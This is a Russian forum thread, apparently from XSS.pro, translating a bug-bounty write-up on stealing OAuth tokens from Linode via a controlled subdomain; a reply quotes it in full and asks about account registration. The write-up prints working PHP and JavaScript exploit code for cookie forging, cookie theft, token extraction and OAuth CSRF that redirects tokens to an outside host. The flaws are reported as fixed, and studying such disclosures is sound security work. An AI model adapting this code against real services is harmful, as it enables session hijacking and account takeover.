• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Как я нашел уязвимость (перехват OAuth токена) в Linode.com

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
В середине 2018 года программа Linode на Hackerone привлекла меня к работе. В процессе работы, я обнаружил множество проблем, которые были раскрыты в частном порядке на Hackerone. Однако, парочку проблем были особенно интересны, поэтому я захотел сделать публичное заявление и раскрыть баг в паблике. Так что давайте не будем тратить время и приступим к работе :) Эта ошибка потребует некоторого понимания OAuth, поэтому я надеюсь, что вы, ребята, знакомы с ней.

Linode - крупный VPS провайдер. Для клиентов они открывают функцию доступа к VPS <id>.members.linode.com. Просто уже смотря только на это, и уже знал, что мы можем здесь что-то найти. Это в основном означает, что мы полностью контролируем поддомен Linode.com, который позволяет выполнить server-side скрипты на поддомене Linode.


Аутентификация Linode

У Linode есть 4 веб-приложения для пользователей:

https://manager.linode.com Классический / Старый менеджер
https://linode.com/community Community portal
https://login.linode.com Сервер выдачи OAuth
https://cloud.linode.com Новый менеджер Linode

Поскольку мы полностью контролируем субдомен, мы могли читать любые .linode.com cookie файлы, для которых установлено значение, я начал проверять https://manager.linode.com на наличие файла сессии/CSRF кукисов, но все файлы cookie были правильно установлены только manager.linode.com. Тогда я перешел в другое приложение, то есть, https://linode.com/community, которое делает много операций с OAuth через `login.linode.com`.

Давайте разберемся, как здесь работает аутентификация.

При нажатии на Login GET запрос отсылается на https://www.linode.com/community/questions/login?next=/community/ и получаем следующий ответ на запрос.

1_i7EkKjZNt8q7WpBmqleENg.png

Код:
HTTP/1.1 302 Found
Server: nginx
Date: Sat, 29 Sep 2018 23:36:51 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: close
Vary: Cookie
Location: https://login.linode.com/oauth/authorize?scopes=events%3Amodify&state=bce45f7c-6a37-46c7-9ede-c9979c152081&client_id=a38f156de7fa9819c110&redirect_uri=https%3A%2F%2Fwww.linode.com%2Fcommunity%2F&response_type=code
Set-Cookie: sessionid=dgagljcsrcg0m3klfd2o16x9q1smbgvd; Domain=.linode.com; expires=Sat, 13-Oct-2018 23:36:51 GMT; HttpOnly; Max-Age=1209600; Path=/; Secure
.....
Что делает следующее,
  • Устанавливает cookie:
sessionid=dgagljcsrcg0m3klfd2o16x9q1smbgvd; который связан с токеном state=bce45f7c-6a37-46c7-9ede-c9979c152081. Файл cookie устанавливается на .linode.com.
  • Перенаправляет на страницу OAuth:
https://login.linode.com/oauth/authorize?scopes=events%3Amodify&state=bce45f7c-6a37-46c7-9ede-c9979c152081&client_id=a38f156de7fa9819c110&redirect_uri=https%3A%2F%2Fwww.linode.com%2Fcommunity%2F&response_type=code
  • Если войти в систему на https://login.linode.com/ пользователь перенаправляется на
https://www.linode.com/community/?state=bce45f7c-6a37-46c7-9ede-c9979c152081&code=6f422a104f5bf039f9dc

Токен параметра состояния сверяется с ранее установленным sessionid. Если проверка прошла успешно, мы получаем такой ответ.
Код:
HTTP/1.1 302 Found
Server: nginx
Date: Sat, 29 Sep 2018 23:04:02 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: close
Vary: Cookie
Location: /community/
Set-Cookie: sessionid=qaff7xdtoxxhnc6tds7ym2d7d9lpweci; Domain=.linode.com; expires=Sat, 13-Oct-2018 23:04:02 GMT; HttpOnly; Max-Age=1209600; Path=/; Secure
....
Что делает следующее
  • sessionid получает сброс (снова на .linode.com), который является сессией для входа на портал.

Эксплуатация... OAuth + Cookies = ❤

Наша первая цель - получить токен доступа с wildcard (*) с портала сообщества. Если мы хотим, чтобы пользователь входил на портал сообщества с * токеном, нам нужно обойти механизм CSRF. механизм входа ищет sessionid и проверяет его по указанному state токену.
Т.к. мы можем установить .linode.com куки, мы можем обойти это :)

PHP код для этого:
Код:
<?php
echo "<iframe src='https://li859-243.members.linode.com/setcookie.php'></iframe>";
?>
<script>
setTimeout(function(){ document.write("<iframe src='https://li859-243.members.linode.com/stc.php'></iframe>"); }, 6000);
</script>
Код выше просто ифреймит setcookie.php, а затем через 6 секунд ифреймит stc.php (stealcookie.php)

Давайте разберемся, что такое setcookie.php
PHP:
<?php
error_reporting(0);
$curl = curl_init();
curl_setopt_array($curl, array(
    CURLOPT_RETURNTRANSFER => 1,
    CURLOPT_HEADER => 1,
    CURLOPT_URL => 'https://www.linode.com/community/questions/login?next=/community/'
));
$resp = curl_exec($curl);
$headers = [];
$data = explode("\n",$resp);
$headers['status'] = $data[0];
array_shift($data);
foreach($data as $part){
    $middle=explode(": ",$part);
    $headers[trim($middle[0])] = trim($middle[1]);
}
$pattern = '/events%3Amodify/';
$replacement = '*';
$p = preg_replace($pattern, $replacement, $headers['Location'], -1 );
$xf=explode("; ",$headers['Set-Cookie']);
foreach($xf as $part){
    $middle=explode("=",$part);
    $cookie[trim($middle[0])] = trim($middle[1]);
}
$epoch = shell_exec("date --date \"{$cookie['expires']}\" '+%s'");
setcookie("sessionid", $cookie['sessionid'], $epoch, "/", ".linode.com");
curl_close($curl);
header("Location: $p");
?>
  • Отправляет запрос со стороны сервера на конечную точку входа в систему для получения действительных файлов cookie.
  • Извлекает все заголовки из ответа
  • Модифицирует заголовок Location; хедер, состоящий из scopes=events%3amodify мы меняем на scopes=*
  • Извлекает Set-Cookie заголовок
  • Устанавливает извлеченную сессию в сеанс пользователя и продолжает с перенаправлением в location заголовок, но с нашими измененными значениями
Теперь, т.к. sessionid и state будут успешно подтверждены, пользователь будет авторизован на портале с токеном `*`.

Теперь, когда все готово для кражи кукисов, поскольку Linode устанавливает сессию для .linode.com, мы можем получить перехваченную сессию и войти в систему, и можем наконец извлечь токен :) Давайте тоже автоматизируем все это с помощью stc.php (stealcookies.php ниже) (который ворует cookie и извлекает токен)
PHP:
<?php
$x = $_COOKIE['sessionid'];
echo "Session ID : <b>".$x."</b><br>";
$t = shell_exec("curl https://www.linode.com/community/ -H \"Cookie: sessionid=".$x."\"");
$p = '/notificationsToken.*\"/';
preg_match($p,$t,$token);
echo "Access token with `*` Scope : <b>".substr($token[0], 21)."</b>";
echo "\n\n";
?>
Мы просто берем sessionid из сессии и делаем curl запрос со стороны сервера, чтобы получить токен доступа, который можно использовать для вызова API, будь то чтение или запись в любой ресурс :).

Выглядит сложным?

Посмотрите видео.



Timeline по этому багу выглядел так:

Sep 30th, 2018: первый отчет
Oct 1st, 2018: приняли
Oct 3rd, 2018: выплатили баунти $2000
Oct 4th, 2018: пофиксили


Можем ли мы использовать это где-нибудь еще?

Давайте посмотрим, как CSRF работает с этими приложениями;

Все приложения CSRF выглядели безопасными, кроме https://login.linode.com

Давайте разберемся ;)


vg.png


В моем случае мой установленный cookie-файл сначала читался сервером и, следовательно, отбрасывал рабочий сеанс пользователя и просил пользователя снова войти в систему. Однако, даже если Linode проставляет Path=/ , мы можем добавить Path=/login, чтобы получить привилегии для нашего куки. Теперь любой путь в /login/* получит наш куки в качестве предпочтения.

Несколько слайдов из выступления с HITCON 2019, в котором подробно описываются подобные атаки. Обязательно ознакомьтесь с этими слайдами, классные вещи!

1.png


2.png



Я ❤ OAuth, и эти куки делают его более классным xD

Linode является OAuth провайдером и вся авторизация выполняется на login.linode.com (это сервер выдачи OAuth), как упоминалось ранее. Таким образом, идея состоит в том, чтобы заставить пользователя авторизовать наше клиентское приложение.

Ниже приведен "хацкерский" PHP-код для использования OAuth CRSF.
exp.php
PHP:
<?php
// Make request to https://login.linode.com/login
$curl = curl_init();
curl_setopt_array($curl, array(
    CURLOPT_RETURNTRANSFER => 1,
    CURLOPT_HEADER => 1,
    CURLOPT_URL => 'https://login.linode.com/login',
    CURLOPT_HEADER => 1,
    CURLOPT_RETURNTRANSFER => 1
));
$resp = curl_exec($curl);
//Extract Set-Cookie header value
$headers = [];
$data = explode("\n",$resp);
$f = explode("; ", $data[10]);
$session = substr($f[0], 20);
$exp = substr($f[1], 8);
//Set-Cookie
$epoch = shell_exec("date --date \"{$exp}\" '+%s'");
setcookie("session", $session, $epoch, "/", ".linode.com",true);
curl_close($curl);
//Decode cookies for CSRF-Token and pass it to exp1.php
$b64 = explode(".",$session);
$b64[0] .= "=";
$b = base64_decode($b64[0]);
$xb = explode(",",$b);
$x = substr($xb[2],0,-2);
$csrf = substr($x,14);
header("Location: exp1.php?csrf={$csrf}");

exp1.php
PHP:
<p><a href="#" id="target" name="x">Exploit</a></p>
<script>
(function() {
  document.getElementById("target").onclick = function() {
    x = window.open("https://login.linode.com/login");
    setTimeout(function() {
      x.close();
    document.forms["exploit"].submit();
    }, 13000);
return false;
};
})();
</script>
<form method="POST" action="https://login.linode.com/oauth/authorize?client_id=e8ffd152f9d9a85a423b&scope=*&response_type=token&redirect_uri=https://rce.ee/linode-exploit.html" name="exploit" id="exploit">
    <input type="hidden" name="csrf_token" value="<?php echo $_GET['csrf']; ?>">
    <input type="hidden" name="client_id" value="e8ffd152f9d9a85a423b">
    <input type="hidden" name="scope" value="*">
    <input type="hidden" name="redirect_uri" value="https://rce.ee/linode-exploit.html">
    <input type="hidden" name="response_type" value="token">
</form>
  • Сделайте запрос со стороны сервера и получите сеанс JWT.
  • Расшифруйте его и извлеките токен CSRF.
  • Установите сессионный cookie с полученным JWT.
  • Сделайте POST-запрос для авторизации приложения OAuth атакующего с ранее декодированным токеном CSRF.

Выглядит сложным? Вот видео с демонстрацией PoC:


Хронология
13th Oct 2018: Первый репорт
15th Oct 2018: Репорт приняли
18th Oct 2018: Получил баунти $750 и бонус $1000 за креатив
14th Nov 2018: Пофиксили

Автор: https://twitter.com/rootxharsh
Перевод: tabac, специально для https://xss.pro
 
В середине 2018 года программа Linode на Hackerone привлекла меня к работе. В процессе работы, я обнаружил множество проблем, которые были раскрыты в частном порядке на Hackerone. Однако, парочку проблем были особенно интересны, поэтому я захотел сделать публичное заявление и раскрыть баг в паблике. Так что давайте не будем тратить время и приступим к работе :) Эта ошибка потребует некоторого понимания OAuth, поэтому я надеюсь, что вы, ребята, знакомы с ней.

Linode - крупный VPS провайдер. Для клиентов они открывают функцию доступа к VPS <id>.members.linode.com. Просто уже смотря только на это, и уже знал, что мы можем здесь что-то найти. Это в основном означает, что мы полностью контролируем поддомен Linode.com, который позволяет выполнить server-side скрипты на поддомене Linode.


Аутентификация Linode

У Linode есть 4 веб-приложения для пользователей:

https://manager.linode.com Классический / Старый менеджер
https://linode.com/community Community portal
https://login.linode.com Сервер выдачи OAuth
https://cloud.linode.com Новый менеджер Linode

Поскольку мы полностью контролируем субдомен, мы могли читать любые .linode.com cookie файлы, для которых установлено значение, я начал проверять https://manager.linode.com на наличие файла сессии/CSRF кукисов, но все файлы cookie были правильно установлены только manager.linode.com. Тогда я перешел в другое приложение, то есть, https://linode.com/community, которое делает много операций с OAuth через `login.linode.com`.

Давайте разберемся, как здесь работает аутентификация.

При нажатии на Login GET запрос отсылается на https://www.linode.com/community/questions/login?next=/community/ и получаем следующий ответ на запрос.

Посмотреть вложение 7125
Код:
HTTP/1.1 302 Found
Server: nginx
Date: Sat, 29 Sep 2018 23:36:51 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: close
Vary: Cookie
Location: https://login.linode.com/oauth/authorize?scopes=events%3Amodify&state=bce45f7c-6a37-46c7-9ede-c9979c152081&client_id=a38f156de7fa9819c110&redirect_uri=https%3A%2F%2Fwww.linode.com%2Fcommunity%2F&response_type=code
Set-Cookie: sessionid=dgagljcsrcg0m3klfd2o16x9q1smbgvd; Domain=.linode.com; expires=Sat, 13-Oct-2018 23:36:51 GMT; HttpOnly; Max-Age=1209600; Path=/; Secure
.....
Что делает следующее,
  • Устанавливает cookie:
sessionid=dgagljcsrcg0m3klfd2o16x9q1smbgvd; который связан с токеном state=bce45f7c-6a37-46c7-9ede-c9979c152081. Файл cookie устанавливается на .linode.com.
  • Перенаправляет на страницу OAuth:
https://login.linode.com/oauth/authorize?scopes=events%3Amodify&state=bce45f7c-6a37-46c7-9ede-c9979c152081&client_id=a38f156de7fa9819c110&redirect_uri=https%3A%2F%2Fwww.linode.com%2Fcommunity%2F&response_type=code
  • Если войти в систему на https://login.linode.com/ пользователь перенаправляется на
https://www.linode.com/community/?state=bce45f7c-6a37-46c7-9ede-c9979c152081&code=6f422a104f5bf039f9dc

Токен параметра состояния сверяется с ранее установленным sessionid. Если проверка прошла успешно, мы получаем такой ответ.
Код:
HTTP/1.1 302 Found
Server: nginx
Date: Sat, 29 Sep 2018 23:04:02 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: close
Vary: Cookie
Location: /community/
Set-Cookie: sessionid=qaff7xdtoxxhnc6tds7ym2d7d9lpweci; Domain=.linode.com; expires=Sat, 13-Oct-2018 23:04:02 GMT; HttpOnly; Max-Age=1209600; Path=/; Secure
....
Что делает следующее
  • sessionid получает сброс (снова на .linode.com), который является сессией для входа на портал.

Эксплуатация... OAuth + Cookies = ❤

Наша первая цель - получить токен доступа с wildcard (*) с портала сообщества. Если мы хотим, чтобы пользователь входил на портал сообщества с * токеном, нам нужно обойти механизм CSRF. механизм входа ищет sessionid и проверяет его по указанному state токену.
Т.к. мы можем установить .linode.com куки, мы можем обойти это :)

PHP код для этого:
Код:
<?php
echo "<iframe src='https://li859-243.members.linode.com/setcookie.php'></iframe>";
?>
<script>
setTimeout(function(){ document.write("<iframe src='https://li859-243.members.linode.com/stc.php'></iframe>"); }, 6000);
</script>
Код выше просто ифреймит setcookie.php, а затем через 6 секунд ифреймит stc.php (stealcookie.php)

Давайте разберемся, что такое setcookie.php
PHP:
<?php
error_reporting(0);
$curl = curl_init();
curl_setopt_array($curl, array(
    CURLOPT_RETURNTRANSFER => 1,
    CURLOPT_HEADER => 1,
    CURLOPT_URL => 'https://www.linode.com/community/questions/login?next=/community/'
));
$resp = curl_exec($curl);
$headers = [];
$data = explode("\n",$resp);
$headers['status'] = $data[0];
array_shift($data);
foreach($data as $part){
    $middle=explode(": ",$part);
    $headers[trim($middle[0])] = trim($middle[1]);
}
$pattern = '/events%3Amodify/';
$replacement = '*';
$p = preg_replace($pattern, $replacement, $headers['Location'], -1 );
$xf=explode("; ",$headers['Set-Cookie']);
foreach($xf as $part){
    $middle=explode("=",$part);
    $cookie[trim($middle[0])] = trim($middle[1]);
}
$epoch = shell_exec("date --date \"{$cookie['expires']}\" '+%s'");
setcookie("sessionid", $cookie['sessionid'], $epoch, "/", ".linode.com");
curl_close($curl);
header("Location: $p");
?>
  • Отправляет запрос со стороны сервера на конечную точку входа в систему для получения действительных файлов cookie.
  • Извлекает все заголовки из ответа
  • Модифицирует заголовок Location; хедер, состоящий из scopes=events%3amodify мы меняем на scopes=*
  • Извлекает Set-Cookie заголовок
  • Устанавливает извлеченную сессию в сеанс пользователя и продолжает с перенаправлением в location заголовок, но с нашими измененными значениями
Теперь, т.к. sessionid и state будут успешно подтверждены, пользователь будет авторизован на портале с токеном `*`.

Теперь, когда все готово для кражи кукисов, поскольку Linode устанавливает сессию для .linode.com, мы можем получить перехваченную сессию и войти в систему, и можем наконец извлечь токен :) Давайте тоже автоматизируем все это с помощью stc.php (stealcookies.php ниже) (который ворует cookie и извлекает токен)
PHP:
<?php
$x = $_COOKIE['sessionid'];
echo "Session ID : <b>".$x."</b><br>";
$t = shell_exec("curl https://www.linode.com/community/ -H \"Cookie: sessionid=".$x."\"");
$p = '/notificationsToken.*\"/';
preg_match($p,$t,$token);
echo "Access token with `*` Scope : <b>".substr($token[0], 21)."</b>";
echo "\n\n";
?>
Мы просто берем sessionid из сессии и делаем curl запрос со стороны сервера, чтобы получить токен доступа, который можно использовать для вызова API, будь то чтение или запись в любой ресурс :).

Выглядит сложным?

Посмотрите видео.



Timeline по этому багу выглядел так:

Sep 30th, 2018: первый отчет
Oct 1st, 2018: приняли
Oct 3rd, 2018: выплатили баунти $2000
Oct 4th, 2018: пофиксили


Можем ли мы использовать это где-нибудь еще?

Давайте посмотрим, как CSRF работает с этими приложениями;

Все приложения CSRF выглядели безопасными, кроме https://login.linode.com

Давайте разберемся ;)


Посмотреть вложение 7129

В моем случае мой установленный cookie-файл сначала читался сервером и, следовательно, отбрасывал рабочий сеанс пользователя и просил пользователя снова войти в систему. Однако, даже если Linode проставляет Path=/ , мы можем добавить Path=/login, чтобы получить привилегии для нашего куки. Теперь любой путь в /login/* получит наш куки в качестве предпочтения.

Несколько слайдов из выступления с HITCON 2019, в котором подробно описываются подобные атаки. Обязательно ознакомьтесь с этими слайдами, классные вещи!

Посмотреть вложение 7130

Посмотреть вложение 7131


Я ❤ OAuth, и эти куки делают его более классным xD

Linode является OAuth провайдером и вся авторизация выполняется на login.linode.com (это сервер выдачи OAuth), как упоминалось ранее. Таким образом, идея состоит в том, чтобы заставить пользователя авторизовать наше клиентское приложение.

Ниже приведен "хацкерский" PHP-код для использования OAuth CRSF.
exp.php
PHP:
<?php
// Make request to https://login.linode.com/login
$curl = curl_init();
curl_setopt_array($curl, array(
    CURLOPT_RETURNTRANSFER => 1,
    CURLOPT_HEADER => 1,
    CURLOPT_URL => 'https://login.linode.com/login',
    CURLOPT_HEADER => 1,
    CURLOPT_RETURNTRANSFER => 1
));
$resp = curl_exec($curl);
//Extract Set-Cookie header value
$headers = [];
$data = explode("\n",$resp);
$f = explode("; ", $data[10]);
$session = substr($f[0], 20);
$exp = substr($f[1], 8);
//Set-Cookie
$epoch = shell_exec("date --date \"{$exp}\" '+%s'");
setcookie("session", $session, $epoch, "/", ".linode.com",true);
curl_close($curl);
//Decode cookies for CSRF-Token and pass it to exp1.php
$b64 = explode(".",$session);
$b64[0] .= "=";
$b = base64_decode($b64[0]);
$xb = explode(",",$b);
$x = substr($xb[2],0,-2);
$csrf = substr($x,14);
header("Location: exp1.php?csrf={$csrf}");

exp1.php
PHP:
<p><a href="#" id="target" name="x">Exploit</a></p>
<script>
(function() {
  document.getElementById("target").onclick = function() {
    x = window.open("https://login.linode.com/login");
    setTimeout(function() {
      x.close();
    document.forms["exploit"].submit();
    }, 13000);
return false;
};
})();
</script>
<form method="POST" action="https://login.linode.com/oauth/authorize?client_id=e8ffd152f9d9a85a423b&scope=*&response_type=token&redirect_uri=https://rce.ee/linode-exploit.html" name="exploit" id="exploit">
    <input type="hidden" name="csrf_token" value="<?php echo $_GET['csrf']; ?>">
    <input type="hidden" name="client_id" value="e8ffd152f9d9a85a423b">
    <input type="hidden" name="scope" value="*">
    <input type="hidden" name="redirect_uri" value="https://rce.ee/linode-exploit.html">
    <input type="hidden" name="response_type" value="token">
</form>
  • Сделайте запрос со стороны сервера и получите сеанс JWT.
  • Расшифруйте его и извлеките токен CSRF.
  • Установите сессионный cookie с полученным JWT.
  • Сделайте POST-запрос для авторизации приложения OAuth атакующего с ранее декодированным токеном CSRF.

Выглядит сложным? Вот видео с демонстрацией PoC:


Хронология
13th Oct 2018: Первый репорт
15th Oct 2018: Репорт приняли
18th Oct 2018: Получил баунти $750 и бонус $1000 за креатив
14th Nov 2018: Пофиксили

Автор: https://twitter.com/rootxharsh
Перевод: tabac, специально для https://xss.pro
А как регнуть linode правильно? Себе не могу аккаунт сделать, постоянно кенселит регу.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх